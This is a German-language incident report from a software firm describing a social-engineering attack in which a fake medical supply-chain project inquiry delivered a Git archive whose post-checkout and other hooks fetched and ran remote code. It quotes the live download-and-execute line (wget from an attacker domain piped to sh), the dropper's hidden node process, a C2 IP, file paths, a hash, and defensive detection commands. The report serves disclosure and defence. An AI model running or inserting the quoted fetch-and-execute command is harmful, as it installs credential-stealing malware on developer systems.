Wie sich eine vermeintliche Projektanfrage von quantumworldlt.com zur Malware-Falle entpuppte
Cyberangriffe auf Softwareentwickler und IT-Dienstleister werden zunehmend raffinierter. Auch wir bei der Quellcode 360 GmbH waren kürzlich Ziel eines solchen Angriffs: Über das Kontaktformular unserer Webseite erreichte uns eine zunächst plausible Projektanfrage, die sich bei genauer technischer Analyse als Köder für Schadsoftware entpuppte. Der Fall zeigt exemplarisch, wie Angreifer Vertrauen aufbauen, fachlich glaubwürdige Projekte vortäuschen und präparierte Entwickler-Workflows nutzen, um Malware in Unternehmensumgebungen einzuschleusen.
Der Ablauf: Vom Kontaktformular zum präparierten Archiv
Der Erstkontakt erfolgte über das Kontaktformular unserer Webseite. Der Absender stellte sich als Ashish Rawat vor und verwendete die E-Mail-Adresse
ashishr@quantumworldlt.com. Inhaltlich ging es angeblich um ein webbasiertes Medical-Supply-Chain-Management-System mit pharmazeutischer Traceability,
Audit-Trails, Lizenzprüfung und regulatorischer Compliance.
Die Nachricht war fachlich plausibel formuliert. Genannt wurden unter anderem die Nachverfolgung medizinischer Produkte vom Hersteller über Händler und Apotheken bis zum Endkunden, UUID-basierte Identifikation einzelner Einheiten, Eigentumsübertragungen, Auditierbarkeit und ein MVP für Unternehmens- und Regierungsstakeholder. Auf den ersten Blick passte die Anfrage zu einem typischen, anspruchsvollen Softwareprojekt.
Nach einer ersten Antwort von unserer Seite folgten weitere Projektdetails. Zu den beschriebenen Funktionen gehörten:
- Registrierung von Medikamententypen und Herstellerlizenzen
- eindeutige Identifikation jeder Medikamenteneinheit per UUID
- Nachverfolgung von Eigentumsübertragungen zwischen Hersteller, Apotheke und Endkunde
- öffentliches Portal zur Echtheitsprüfung
- vollständige Auditierbarkeit für regulatorische Zwecke
Anschliessend wurde ein Dropbox-Link zu einem komprimierten Archiv mit angeblicher Projektdokumentation gesendet. Laut Beschreibung sei die Dokumentation wie ein Git-Repository aufgebaut.
Zusätzlich wurde ausdrücklich darauf hingewiesen, dass sich ein NDA-Dokument in einem separaten Git-Branch namens NDA befinde. Genau dieser Hinweis war der technische Köder:
Wer das Archiv entpackt, die README liest und anschliessend den Branch auscheckt, kann einen schädlichen Git-Hook auslösen.
Unsere eigene technische Analyse
Wir haben das Archiv nicht ungeprüft geöffnet oder ausgeführt, sondern zunächst statisch untersucht. Dabei prüften wir die Dateistruktur des Archivs, enthaltene Git-Metadaten, Git-Hooks, Shell-Skripte, Remote-Aufrufe, externe URLs, lokale Zielpfade im Benutzerverzeichnis sowie Hinweise auf Persistenz, Hintergrundprozesse und möglichen Credential-Diebstahl.
Dabei zeigte sich schnell: Das Archiv enthielt nicht nur harmlose Markdown-Dokumente, sondern auch ein vollständiges verstecktes Git-Verzeichnis:
.git/Darin befanden sich aktive Git-Hooks, unter anderem:
.git/hooks/commit-msg
.git/hooks/post-checkout
.git/hooks/pre-push
Diese Hooks waren sicherheitskritisch. Sie führten bei normalen Git-Aktionen Remote-Code aus. Besonders relevant war der post-checkout-Hook, weil die E-Mail und die Projektbeschreibung
ausdrücklich dazu aufforderten, den Branch NDA auszuchecken. Ein alltäglicher Befehl wie der folgende hätte damit genügt, um die schädliche Logik zu starten:
git checkout NDAWas die Git-Hooks machten
Die Hooks luden Code von einer externen Domain nach:
cleverstack-ext30341.vercel.appFür Linux wurde unter anderem folgendes Muster verwendet:
wget -qO- 'https://cleverstack-ext30341.vercel.app/api/l' | shDieses Muster ist ein klares Warnsignal. Es lädt ein Script aus dem Internet und übergibt es direkt an die Shell. Damit kann beliebiger Remote-Code auf dem lokalen System ausgeführt werden, ohne dass der Benutzer den Inhalt vorher sinnvoll prüfen kann. Wir haben diese Payload nicht ausgeführt, sondern separat und statisch analysiert.
wget | sh oder curl | sh in fremden Projekten können ein massives Sicherheitsrisiko darstellen.
Analyse der zweiten Stufe: tokenlinux.npl
Aus der ersten Stufe wurde eine weitere Datei mit dem Namen tokenlinux.npl nachgeladen. Die statische Analyse zeigte ein Bash-Script mit deutlichem Dropper- beziehungsweise
Loader-Verhalten. Die Datei versuchte unter anderem, Node.js bereitzustellen oder nachzuladen, versteckte Verzeichnisse im Benutzerprofil anzulegen, weitere Dateien von der Angreifer-Infrastruktur
zu laden, npm install auszuführen, eine JavaScript-Datei im Hintergrund zu starten und sich anschliessend selbst zu löschen.
Auffällige lokale Pfade waren insbesondere:
~/.config/tokenlinux.npl
~/.config/tokenlinux.sh
~/.npm/.vscode/
~/.npm/.vscode/parser.js
~/.npm/.vscode/package.jsonBesonders kritisch war der Start eines versteckten Node.js-Prozesses:
nohup node ~/.npm/.vscode/parser.js > /dev/null 2>&1 &
Ein solcher Hintergrundprozess hat in einer legitimen Projektdokumentation nichts verloren. Auch das Nachladen einer package.json und das anschliessende Ausführen von
npm install sind in diesem Kontext hochriskant, weil dadurch weitere Installations- oder Postinstall-Skripte automatisch ausgeführt werden können.
Die analysierte Datei hatte folgenden SHA256-Hash:
5588394b0f28dfe054567fa56f2089490ad34a697f69346e975425ff67cd0f52Unsere Bewertung: Das Verhalten entspricht einem mehrstufigen Malware-Dropper. Aufgrund der Dateinamen, Tarnpfade und der Funktionsweise liegt der Verdacht nahe, dass die Payload auf Entwicklerumgebungen und dort gespeicherte Tokens, Zugangsdaten oder andere sensible Informationen abzielt.
Meldung an das Bundesamt für Cybersicherheit
Nach Abschluss unserer eigenen Analyse haben wir den Sachverhalt an das Bundesamt für Cybersicherheit (BACS; beziehungsweise ncsc.ch) weitergeleitet. Das BACS bestätigte den Eingang der Meldung und untersuchte die Schadsoftware ebenfalls. In der Rückmeldung teilte das Amt mit, dass die Schadsoftware versucht, sich mit folgender IP-Adresse zu verbinden:
135.181.125.112Diese IP-Adresse wurde als mögliches Command-and-Control-System genannt. Gleichzeitig empfahl das BACS, lokale Logs auf ausgehende Verbindungen zu dieser Adresse zu prüfen. Diese Rückmeldung bestätigte unsere Einschätzung, dass es sich nicht nur um eine verdächtige Datei, sondern um einen realen Malware-Vorfall handelt.
Indicators of Compromise
Aus unserer Analyse sowie aus der Rückmeldung des BACS ergeben sich folgende relevante Indikatoren:
Absender und Kontext
Ashish Rawat
ashishr@quantumworldlt.com
quantumworldlt.com
Healthcare-Medical-Supply-PlanDomains und Infrastruktur
cleverstack-ext30341.vercel.app
135.181.125.112Verdächtige Dateien und Pfade
~/.config/tokenlinux.npl
~/.config/tokenlinux.sh
~/.npm/.vscode/
~/.npm/.vscode/parser.js
~/.npm/.vscode/package.json
/tmp/.git-checkerVerdächtige Prozesse
node ~/.npm/.vscode/parser.js
npm install
nohup node ...Hash
SHA256 tokenlinux.npl:
5588394b0f28dfe054567fa56f2089490ad34a697f69346e975425ff67cd0f52Warum dieser Angriff besonders gefährlich ist
Wir warnen ausdrücklich vor E-Mails, Projektanfragen, Dropbox-Links, Git-Archiven oder angeblichen NDA-Dokumenten im Zusammenhang mit den oben genannten Angaben. Gleichzeitig gilt: Es ist möglich, dass Namen, Personen oder Domains missbraucht wurden. Trotzdem sollten Nachrichten aus diesem Kontext als potenziell gefährlich behandelt werden.
Der Angriff zielte offensichtlich auf normale Arbeitsabläufe von Entwicklern ab. Ein Projektarchiv herunterzuladen, eine README zu lesen und einen Branch wie NDA auszuchecken,
ist für Softwareunternehmen nichts Ungewöhnliches. Genau diese Routine wurde hier missbraucht. Git-Hooks sind grundsätzlich legitime Mechanismen, etwa für Tests oder Formatierungen.
In fremden Archiven stellen sie jedoch ein erhebliches Risiko dar, weil sie bei alltäglichen Git-Aktionen automatisch Code starten können.
Besonders kritisch sind Hooks wie post-checkout, pre-push, commit-msg, post-merge oder post-rebase. In diesem Fall war der Angriff so konstruiert,
dass der Empfänger durch den angeblichen NDA-Branch selbst die Ausführung des schädlichen Hooks auslösen sollte.
Empfehlungen für Entwickler und Unternehmen
Fremde Projektarchive sollten nie direkt in einer produktiven Entwicklungsumgebung geöffnet werden. Vor allem sollten keine Git-Kommandos ungeprüft in Verzeichnissen ausgeführt werden, deren Herkunft
nicht sauber verifiziert ist. In der Praxis bewährt sich ein klarer Prüfprozess: Archiv isoliert entpacken, .git-Inhalte prüfen, Hooks inspizieren, Skripte und package.json
statisch lesen und Netzwerkzugriffe blockieren, bis die Herkunft geklärt ist.
Sinnvolle Schutzmassnahmen sind beispielsweise:
tar --exclude='*/.git' --exclude='*/.git/*' -xzf archiv.tar.gzoder nach dem Entpacken:
find .git/hooks -maxdepth 1 -type f -printBei Verdacht löschen mit:
rm -rf .gitSolche Archive sollten ausserdem nicht in Umgebungen geöffnet werden, in denen Zugriff auf besonders schützenswerte Informationen besteht:
- SSH-Schlüssel
- Git-Credentials
- API-Tokens
- Cloud-Zugänge
- Passwortmanager
- Browserprofile
- produktive Konfigurationsdateien
- Kundendaten
- interne Repositories
Prüfbefehle für betroffene Systeme
Wer ein ähnliches Archiv geöffnet oder Git-Befehle darin ausgeführt hat, sollte unter Linux unter anderem folgende Prüfungen vornehmen:
ls -lah ~/.config/tokenlinux* 2>/dev/null
ls -lah ~/.npm/.vscode 2>/dev/null
cat /tmp/.git-checker 2>/dev/nullLaufende Prozesse:
ps aux | grep -E 'tokenlinux|parser.js|cleverstack|node .*\.npm/\.vscode' | grep -v grepNetzwerkverbindungen:
ss -tpn | grep -E '135\.181\.125\.112|node|vercel|cleverstack'Logs:
grep -R "135.181.125.112" /var/log 2>/dev/null
Zusätzlich sollten Firewall-, Router-, DNS- und Proxy-Logs auf Verbindungen zu 135.181.125.112 geprüft werden. Falls Anzeichen für eine Ausführung vorliegen,
sollte das betroffene System isoliert, forensisch gesichert und alle potenziell kompromittierten Zugangsdaten rotiert werden.
Fazit
Unsere Analyse zeigt, dass es sich bei diesem Vorfall um einen gezielten Angriff handelte. Die Methode war nicht plump, sondern professionell vorbereitet: eine glaubwürdige Projektanfrage, ein plausibles technisches Thema, ein angebliches NDA und ein präpariertes Git-Archiv. Der eigentliche Angriffsweg lag in der Struktur des Repositories selbst.
Durch Git-Hooks sollte beim Branch-Wechsel Remote-Code ausgeführt werden. Die nachgeladene Payload zeigte typisches Dropper-Verhalten und versuchte, weitere Komponenten im Benutzerprofil zu installieren und im Hintergrund zu starten. Der Fall unterstreicht: Auch scheinbar seriöse Projektanfragen können Teil eines gezielten Cyberangriffs sein.
Unser Leistungsangebot
Solche Fälle lassen sich nicht allein mit Standard-Checklisten sauber bewerten. Entscheidend ist die Kombination aus sicherer Entwicklungsroutine, technischer Tiefenanalyse und pragmatischer Incident-Bewertung. Als Teil unserer IT Beratung unterstützen wir Unternehmen dabei, verdächtige Projektarchive, Build-Prozesse, Deployment-Pfade und Web-Infrastrukturen strukturiert zu prüfen. Wer Hinweise auf ähnliche Vorfälle hat oder eine technische Zweitmeinung benötigt, kann sich gerne an uns wenden.
